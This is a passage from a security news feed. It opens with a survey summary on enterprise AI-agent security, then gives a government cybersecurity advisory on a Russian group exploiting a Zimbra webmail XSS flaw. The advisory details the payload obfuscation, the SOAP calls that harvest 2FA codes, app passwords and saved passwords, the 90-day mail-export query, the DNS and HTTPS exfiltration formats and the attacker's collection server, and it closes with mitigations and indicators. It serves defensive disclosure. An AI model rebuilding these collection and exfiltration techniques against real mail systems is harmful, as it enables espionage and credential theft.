    Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

    The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

    Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

    ]]>         <![CDATA[Building multi-Region visualizations with Highcharts in Amazon Quick]]> https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/ https://tsecurity.de/de/3689761/ai-nachrichten/building-multi-region-visualizations-with-highcharts-in-amazon-quick/ Thu, 23 Jul 2026 18:54:48 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]> https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/ Thu, 23 Jul 2026 16:59:29 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

    Executive summary 

    A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

    LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

    Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

    This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

    • United States National Security Agency (NSA)
    • United States Federal Bureau of Investigation (FBI)
    • Netherlands Defence Intelligence and Security Service (MIVD)
    • Netherlands General Intelligence and Security Service (AIVD)
    • United States Cybersecurity and Infrastructure Security Agency (CISA)
    • United States Defense Counterintelligence and Security Agency (DCSA)
    • United States Department of Defense Cyber Crime Center (DC3)
    • United States Department of the Treasury
    • United States Naval Criminal Investigative Service (NCIS)
    • Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
    • Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
    • New Zealand National Cyber Security Centre (NCSC-NZ)
    • United Kingdom National Cyber Security Centre (NCSC-UK)
    • Czech Republic National Cyber and Information Security Agency (NÚKIB)1
    • Danish Defence Intelligence Service (DDIS)2
    • Estonian Foreign Intelligence Service (EFIS)3
    • Finnish Defence Intelligence (FDI)4
    • Finnish Security and Intelligence Service (SUPO)5
    • French General Directorate for Internal Security (DGSI)6
    • French National Cybersecurity Agency (ANSSI)7
    • Italian External Intelligence and Security Agency (AISE)8
    • Italian Internal Intelligence and Security Agency (AISI)9
    • Security and Intelligence Service of the Republic of Moldova (SIS RM)10
    • Polish Foreign Intelligence Agency (AW)11
    • The Military Counterintelligence Service of Poland (SKW)12
    • Spain National Intelligence Centre (CNI)13
    • Sweden National Cyber Security Centre (NCSC-SE)14

    The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).  

    As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

    For a downloadable list of IOCs, see:

    Cybersecurity industry tracking

    The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

    • LAUNDRY BEAR
    • Void Blizzard [2]
    • CL-STA-1114 [3]
    • TA488 (formerly UNK_PitStop) [4]

    Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

    Background

    Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  

    The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].  

    Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named â€œĐŁĐ»Đ”Đč” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

    • Last 90 days of emails,
    • Email address,
    • Password [T1589.001],
    • Global Address List (GAL) [T1087],
    • Two-factor authentication (2FA) tokens, and
    • Newly-created Application Passcode [T1098].

    The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

    Targeting details

    LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

    • the Defense Industrial Base (DIB),  
    • the federal and local government,
    • education,
    • energy,
    • law enforcement,  
    • media,  
    • non-governmental organizations, and
    • technology.

    Technical details

    Note: This advisory uses the MITRE ATT&CK¼ Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FENDTM version 1.4.015. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

    Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

    Reconnaissance

    LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].  

    After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].  

    Resource development

    The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

    Flowerbed framework

    Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

    • Catcher,
    • Certbot,
    • Nginx, and
    • Gardener.

    Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

    The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

    Initial access

    To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

    Figure 1: Example of malicious email
    Figure 1: Example of malicious email

    Figure 2: Headers from an example malicious email
    Figure 2: Headers from an example malicious email

    According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

    Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

    Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

    1. sendStartPing,
    2. gather_email,
    3. gather_environment,
    4. gather_2fa_codes,
    5. gather_app_password,
    6. gather_device_status,
    7. gather_oauth_consumers,
    8. gather_autocomplete_password,
    9. enable_mail_protocols,
    10. gather_gal,
    11. sendArchives, and
    12. sendFinishPing. 

    Figure 3: Malicious payload of example email
    Figure 3: Malicious payload of example email

    Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

    Persistence and credential access

    To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

    The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

    During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

    Figure 4: First illegitimate login HTML element
    Figure 4: First illegitimate login HTML element

    Figure 5: Second illegitimate login HTML element
    Figure 5: Second illegitimate login HTML element

    LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

    ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

    Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

    Collection

    As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

    Table 1: Additional SOAP commands used

    SOAP Command 

    Namespace 

    Stage 

    GetInfoRequest 

    zimbraAccount 

    gather_environment 

    GetDeviceStatusRequest 

    zimbraSync 

    gather_device_status 

    GetOAuthConsumersRequest 

    zimbraAccount 

    gather_oauth_consumers 

    SearchGalRequest 

    zimbraAccount 

    gather_gal 

    The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

    During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

    Table 2: ZCS webmail client types

    Indicator 

    Client Type 

    Associated Value 

    ?client=advanced 

    Advanced 

    c 

    /h/ 

    Standard 

    h 

    /modern/ 

    Modern 

    m 

    As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

    According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

    The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

    Exfiltration

    At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

    Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

    DNS exfiltration

    DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

    Figure 6: Structure for information exfiltrated by DNS
    Figure 6: Structure for information exfiltrated by DNS

    When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

    Table 3: DNS exfiltration

    Type of Information 

    Exfiltration Stage 

    Data Type 

    Victim’s Email Address 

    gather_email 

    e 

    Client Type 

    gather_environment 

    c 

    Zimbra Version 

    gather_environment  

    v 

    URL at Time of Exploitation 

    gather_environment 

    url 

    2FA Scratch Codes 

    gather_2fa_codes 

    2fa 

    Newly Created Application Password 

    gather_app_password 

    pa 

    Harvested Autocomplete Password 

    gather_autocomplete_password 

    pw 

    HTTPS exfiltration

    Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

    Table 4: HTTPS exfiltration types

    Content Type 

    URL Path 

    application/json 

    /v/p 

    application/octet-stream 

    /v/d 

    Figure 7: Structure for information exfiltrated by HTTPS
    Figure 7: Structure for information exfiltrated by HTTPS

    Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

    Table 5 provides a summary of the JSON-based exfiltration.

    Table 5: HTTPS JSON exfiltration  

    Type of Information 

    Exfiltration Stage 

    JSON Key(s) 

    Victim’s Email Address 

    gather_email 

    email 

    Client Type, Version, and Current URL 

    gather_environment 

    client, version, full_url 

    Newly Created Application Password 

    gather_app_password 

    app_password 

    Harvested Autocomplete Password 

    gather_autocomplete_password 

    autocomplete_password 

    The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

     Table 6: HTTPS binary exfiltration

    Type of Information 

    Exfiltration Stage 

    X-Filename Header 

    SOAP request for GetInfoRequest 

    gather_environment 

    zimbra_batch_analytics.json 

    SOAP request for GetScratchCodesRequest 

    gather_2fa_codes 

    zimbra_batch_analytics.json 

    SOAP request for GetDeviceStatusRequest 

    gather_device_status 

    zimbra_batch_analytics.json 

    SOAP request for GetOAuthConsumersRequest 

    gather_oauth_consumers 

    zimbra_batch_analytics.json 

    Victim Organization’s Global Address List 

    gather_gal 

    telemetry_{1-20}.json 

    Last 90 Days of Victim’s Emails 

    sendArchives 

    telemetryData_{0-89}.json 

    The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

    At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

    Catcher

    Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

    Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

    The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

    However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

    • Time of query,
    • Source IP address for query,
    • Queried domain, and
    • Type of query.

    The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

    • Time,
    • Source IP address,
    • Request method,
    • Host,
    • Path,
    • Query string,
    • Headers, and
    • Base64 payload.

    These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

    Figure 8: Command used for automated directory cleanup
    Figure 8: Command used for automated directory cleanup

    Response strategies

    Mitigations

    In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

    All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

    System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

    Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

    Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

    • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
    • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
    • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
    • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

    Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

    Indicators of compromise (IOCs)

    Flowerbed infrastructure

    The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

    Table 7: Flowerbed server infrastructure

    Domain 

    IP Address 

    First Seen 

    Last Seen 

    zmailanalytics[.]com 

    216.252.238[.]104 

    8 July 2025 

    15 October 2025 

    zimbra-metadata[.]com 

    216.252.238[.]18 

    20 August 2025 

    14 October 2025 

    analyticemailmeter[.]com 

    37.120.247[.]228 

    24 September 2025 

    18 March 2026 

    emailanalytics.com[.]ua 

    185.86.79[.]95 

    24 September 2025 

    18 March 2026 

    mailnalysis[.]com 

    104.248.134[.]194 

    11 November 2025 

    17 February 2026 

    zimbrastat[.]com 

    64.226.124[.]190 

    18 December 2025 

    18 March 2026 

    zimbrasoft.com[.]ua 

    193.238.152[.]66 

    20 January 2026 

    18 March 2026 

    synacorzimbra[.]nl 

    216.252.238[.]64 

    3 February 2026 

    30 March 2026 

    istc-cloud[.]com 

    194.156.103[.]193 

    5 February 2026 

    30 March 2026 

    Table 8: Flowerbed X.509 certificate SHA-1 hashes  

    Associated Domain 

    X.509 SHA-1 Hash 

    First Seen 

    Last Seen 

    zmailanalytics[.]com 

    2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

    8 Jul 2025 

